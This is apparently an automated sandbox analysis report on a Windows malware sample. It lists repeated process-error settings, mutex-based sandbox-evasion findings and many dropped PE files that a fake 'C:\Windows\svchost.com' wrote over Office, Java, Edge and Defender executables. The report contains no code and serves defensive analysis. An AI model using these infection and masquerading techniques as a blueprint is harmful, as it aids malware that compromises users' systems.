Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_4-4316

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-1171

Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
